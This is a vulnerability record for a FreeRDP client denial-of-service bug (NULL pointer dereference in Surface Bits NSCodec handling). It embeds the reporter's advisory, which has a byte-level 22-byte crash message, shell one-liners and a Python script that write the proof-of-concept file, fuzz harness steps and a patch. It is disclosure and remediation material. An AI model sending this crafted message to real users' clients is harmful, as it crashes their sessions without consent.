NULL pointer dereference in FreeRDP client Surface Bits handling
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Denial of service
- Confidentiality · integrity · availability
- None · None · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-ffjr-p229-hpch. Fix status from GitHub. Impact type from CWE-476.
Summary
FreeRDP 3.30.0 and earlier can crash when a malicious RDP server sends a single Surface Bits command that claims to use NSCodec. The client does not allocate the NSCodec decoder unless the user enables NSCodec on the command line, and the code passes the missing decoder pointer on without a check, which is a NULL pointer dereference (CWE-476). The attacker needs no authentication, and the user only has to connect to the malicious server.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
## Summary A malicious RDP server can crash a FreeRDP client by sending one Surface Bits command that claims to use NSCodec. The client only allocates the NSCodec decoder when the user asks for it on the command line. NSCodec is off by default. Nothing checks that the decoder exists before it is used, and nothing checks that the server picked a codec the client actually offered. So on a default client the decoder pointer is NULL and it is passed straight into the decoder function. No auth needed. The user only has to connect to the server. The crash happens before any bitmap data is read, so the whole message is 22 bytes. ## Affected version Reproduced on master at commit af31ca42933433847a002764f8f6f12fc77008ef (18 Aug 2026). ## Where it goes wrong `libfreerdp/gdi/gdi.c:1166`, inside `gdi_surface_bits` (function starts at line 1120): ```c case RDP_CODEC_ID_NSCODEC: format = gdi->dstFormat; if (!nsc_process_message( context->codecs->nsc, cmd->bmp.bpp, cmd->bmp.width, cmd->bmp.height, ``` `context->codecs->nsc` is passed with no check that it is non NULL. `nsc_process_message` does not check it either. `libfreerdp/codec/nsc.c:437` and `:438` are the first two statements in the function: ```c WINPR_ASSERT(context); WINPR_ASSERT(context->priv); ``` `gdi_surface_bits` does check its other pointers. Line 1128 checks `context` and `cmd`, line 1132 checks `gdi`. Only the codec pointer is unchecked. The RemoteFX case in the same switch, at `libfreerdp/gdi/gdi.c:1152`, does not have this problem, because `rfx_process_message` validates its own argument at `libfreerdp/codec/rfx.c:1124`: ```c if (!context || !data || !length) return FALSE; ``` So one branch of the switch is safe and the branch next to it is not. ## Why the decoder pointer is NULL on a normal client 1. `FreeRDP_NSCodec` is never given a default value in `libfreerdp/core/settings.c`, so it is FALSE on a fresh settings object. It is only set to TRUE from the command line, at `client/common/cmdline.c:2572`, `:4037` and `:5281`. 2. `freerdp_settings_get_codecs_flags` clears the NSCodec flag when that setting is FALSE. `libfreerdp/common/settings.c:2016` to `:2019`: ```c if (settings->NSCodec == FALSE) { flags &= (uint32_t)~FREERDP_CODEC_NSCODEC; } ``` 3. `freerdp_client_codecs_prepare` only allocates the decoder when that flag is set. `libfreerdp/core/codecs.c:120` to `:127`: ```c if ((flags & FREERDP_CODEC_NSCODEC)) { if (!(codecs->nsc = nsc_context_new())) ``` 4. The Surface Bits handler is still installed. `gdi_register_update_callbacks` (starts at `libfreerdp/gdi/gdi.c:1252`) only returns early when `DeactivateClientDecoding` is set, at `libfreerdp/gdi/gdi.c:1263`. That setting is FALSE on a normal client, so the handler is installed. Steps 3 and 4 are controlled by different settings. That is why the handler can be live while the decoder is missing. ## Why the server can reach it The client cannot rely on the server respecting what was negotiated, and nothing enforces it here. The code that turns NSCodec on from the capability exchange is inside an `if (isServer)` block. The block opens at `libfreerdp/core/capabilities.c:3479` and the setting is written at `:3550`. On a client that code does not run, so nothing the server sends can turn NSCodec on. `libfreerdp/core/capabilities.c:2978` sets `SurfaceCommandsEnabled` from a value the server sends, and `libfreerdp/core/surface.c:173` calls the handler without checking that setting again. The codec id itself is never compared against the client's own codec settings anywhere in `libfreerdp/gdi/gdi.c` or `libfreerdp/core/surface.c`. ## The message A single Surface Bits command. Field order is read at `libfreerdp/core/surface.c:142` to `:145` and `libfreerdp/core/surface.c:58` to `:64`. ``` 01 00 cmdType = 0x0001 CMDTYPE_SET_SURFACE_BITS 00 00 destLeft = 0 00 00 destTop = 0 40 00 destRight = 64 40 00 destBottom = 64 20 bmp.bpp = 32 00 bmp.flags = 0 00 reserved 01 bmp.codecID = 0x01, RDP_CODEC_ID_NSCODEC (include/freerdp/constants.h:29) 01 00 bmp.width = 1 ff 00 bmp.height = 255 00 00 00 00 bmp.bitmapDataLength = 0 ``` The only field that matters is the codec id. The rectangle just has to pass `update_recv_surfcmd_is_rect_valid` (`libfreerdp/core/surface.c:95`), which needs left less than right, top less than bottom, and both inside the desktop size. The values above are for a 64x64 desktop. `bitmapDataLength` can be zero, because the crash happens before any bitmap data is read. ## How to reproduce I found this with a local libFuzzer harness that builds `context->cache` and calls `gdi_init` before driving `update_recv_surfcmds`. The upstream fuzz targets `TestFuzzCoreClient.c` and `TestFuzzCoreServer.c` parse these messages but never create the cache or gdi, so the handler they reach does nothing. `TestFuzzGdiCache.c` is attached. Put it in `libfreerdp/gdi/test/` and append these two lines to `libfreerdp/gdi/test/CMakeLists.txt`. Append, do not replace, that file already builds nine `TestGdi*` tests: ```cmake # --- fuzz harness: order/surfcmd consumers (cache + gdi) --- add_fuzzer_test(TestFuzzGdiCache "winpr freerdp freerdp-client") ``` Configure with `BUILD_FUZZERS=ON` and `BUILD_TESTING_INTERNAL=ON`, then build: ``` cmake --build build --parallel --target TestFuzzGdiCache ``` Only the harness file and its CMake registration were added. No library source was modified. The input file is 23 bytes. The first byte is a selector the harness uses to pick which parser to call, it is not part of the message. The remaining 22 bytes are the message shown above. Either line below writes the exact file, sha1 1d53e784795ee7547e4750938b93a272b3bd13d3: ``` printf '0101000000000040004000200000010100ff0000000000' | xxd -r -p > poc.bin echo 'AQEAAAAAAEAAQAAgAAABAQD/AAAAAAA=' | base64 -d > poc.bin ``` As bytes: ``` 01 01 00 00 00 00 00 40 00 40 00 20 00 00 01 01 00 ff 00 00 00 00 00 ``` Or build it from the field layout: ```python #!/usr/bin/env python3 """Minimal PoC for the NSCodec NULL context crash in FreeRDP gdi_surface_bits. Byte 0 is the TestFuzzGdiCache selector (1 % 3 -> update_recv_surfcmds) and is not part of the message. Bytes 1.. are a literal SURFACE_BITS_COMMAND. Field layout from libfreerdp/core/surface.c:142-145 and :58-64. """ import struct, sys pdu = struct.pack('<H', 0x0001) # cmdType = CMDTYPE_SET_SURFACE_BITS pdu += struct.pack('<HHHH', 0, 0, 64, 64) # destLeft/Top/Right/Bottom pdu += bytes([32, 0x00, 0x00, 0x01]) # bpp=32, flags=0, reserved, codecID=1 (NSCODEC) pdu += struct.pack('<HH', 1, 255) # bmp.width = 1, bmp.height = 255 pdu += struct.pack('<I', 0) # bmp.bitmapDataLength = 0 out = sys.argv[1] if len(sys.argv) > 1 else 'poc.bin' open(out, 'wb').write(bytes([0x01]) + pdu) # 0x01 = harness selector print("wrote %s (%d bytes: 1 selector + %d message)" % (out, len(pdu) + 1, len(pdu))) ``` Run it: ``` WLOG_LEVEL=OFF ./build/Testing/TestFuzzGdiCache poc.bin ``` The original crashing input was 52 bytes. It reduced to the same 23 byte file two ways: libFuzzer `-minimize_crash=1`, and working backwards from the field layout by hand. Stack from a build with `WITH_VERBOSE_WINPR_ASSERT=ON`: ``` #7 winpr_int_assert winpr/libwinpr/crt/assert.c:30 #8 nsc_process_message libfreerdp/codec/nsc.c:437 #9 gdi_surface_bits libfreerdp/gdi/gdi.c:1166 #10 update_recv_surfcmd_surface_bits libfreerdp/core/surface.c:173 #11 update_recv_surfcmds libfreerdp/core/surface.c:242 ``` ## A release build is not safer `WINPR_ASSERT` becomes `winpr_internal_assert`, which without `WITH_VERBOSE_WINPR_ASSERT` is plain `assert(cond)` (`winpr/include/winpr/assert-api.h:38`). That is removed when `NDEBUG` is defined, which release builds do. With the assertions gone, the function keeps running: * `libfreerdp/codec/nsc.c:471` reads `context->priv->log`. * `libfreerdp/codec/nsc.c:476` switches on `bpp`, and `libfreerdp/codec/nsc.c:479` writes `context->format`. That runs for any `bpp` of 32, 24, 16, 8 or 4, and `bpp` comes from the message. So a debug build stops on the assertion and a release build reads and writes through a NULL pointer. Both end the client process. ## Suggested fix The smallest fix matches what `rfx_process_message` already does. Replace the two assertions at `libfreerdp/codec/nsc.c:437` and `:438` with a check: ```diff --- a/libfreerdp/codec/nsc.c +++ b/libfreerdp/codec/nsc.c @@ -434,8 +434,12 @@ BOOL nsc_process_message(NSC_CONTEXT* WINPR_RESTRICT context, UINT16 bpp, UINT32 UINT32 nXDst, UINT32 nYDst, UINT32 nWidth, UINT32 nHeight, UINT32 flip) { - WINPR_ASSERT(context); - WINPR_ASSERT(context->priv); + /* The codec context is only allocated when the client enabled NSCodec, see + * freerdp_client_codecs_prepare. A server may send a SURFACE_BITS_COMMAND + * with codecID NSCODEC anyway, in which case callers pass NULL here. + * Same check as rfx_process_message. */ + if (!context || !context->priv) + return FALSE; wStream sbuffer = WINPR_C_ARRAY_INIT; BOOL ret = 0; if (!data || !pDstData) ``` I tested this patch. The 23 byte input no longer crashes, and a 20 second run over the existing corpus showed no new failures. Note that the same pattern applies to any codec id the client has not enabled. Checking `cmd->bmp.codecID` against the client's own codec settings in `gdi_surface_bits`, or checking each codec pointer before use, would cover the whole set instead of this one case. That may be the better fix. ## What I am not claiming I am claiming that a server can end a default configured FreeRDP client process with a single 22 byte message, with no user action beyond connecting. [fuzzer.c](https://github.com/user-attachments/files/31201171/fuzzer.c) I am not claiming controlled memory corruption or code execution. The write at `libfreerdp/codec/nsc.c:479` goes to a fixed small offset from address zero and I have not shown it to be anything more than a crash. Best, dutch
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP | <= 3.30.0 | 3.31.0 | Patch available | GHSA-ffjr-p229-hpch |
- FreeRDP Vendor— Affected <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-ffjr-p229-hpch
Remediation
Upgrade FreeRDP to version 3.31.0, which fixes this flaw.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-ffjr-p229-hpch FreeRDP Fixed in 3.31.0 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-ffjr-p229-hpch
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences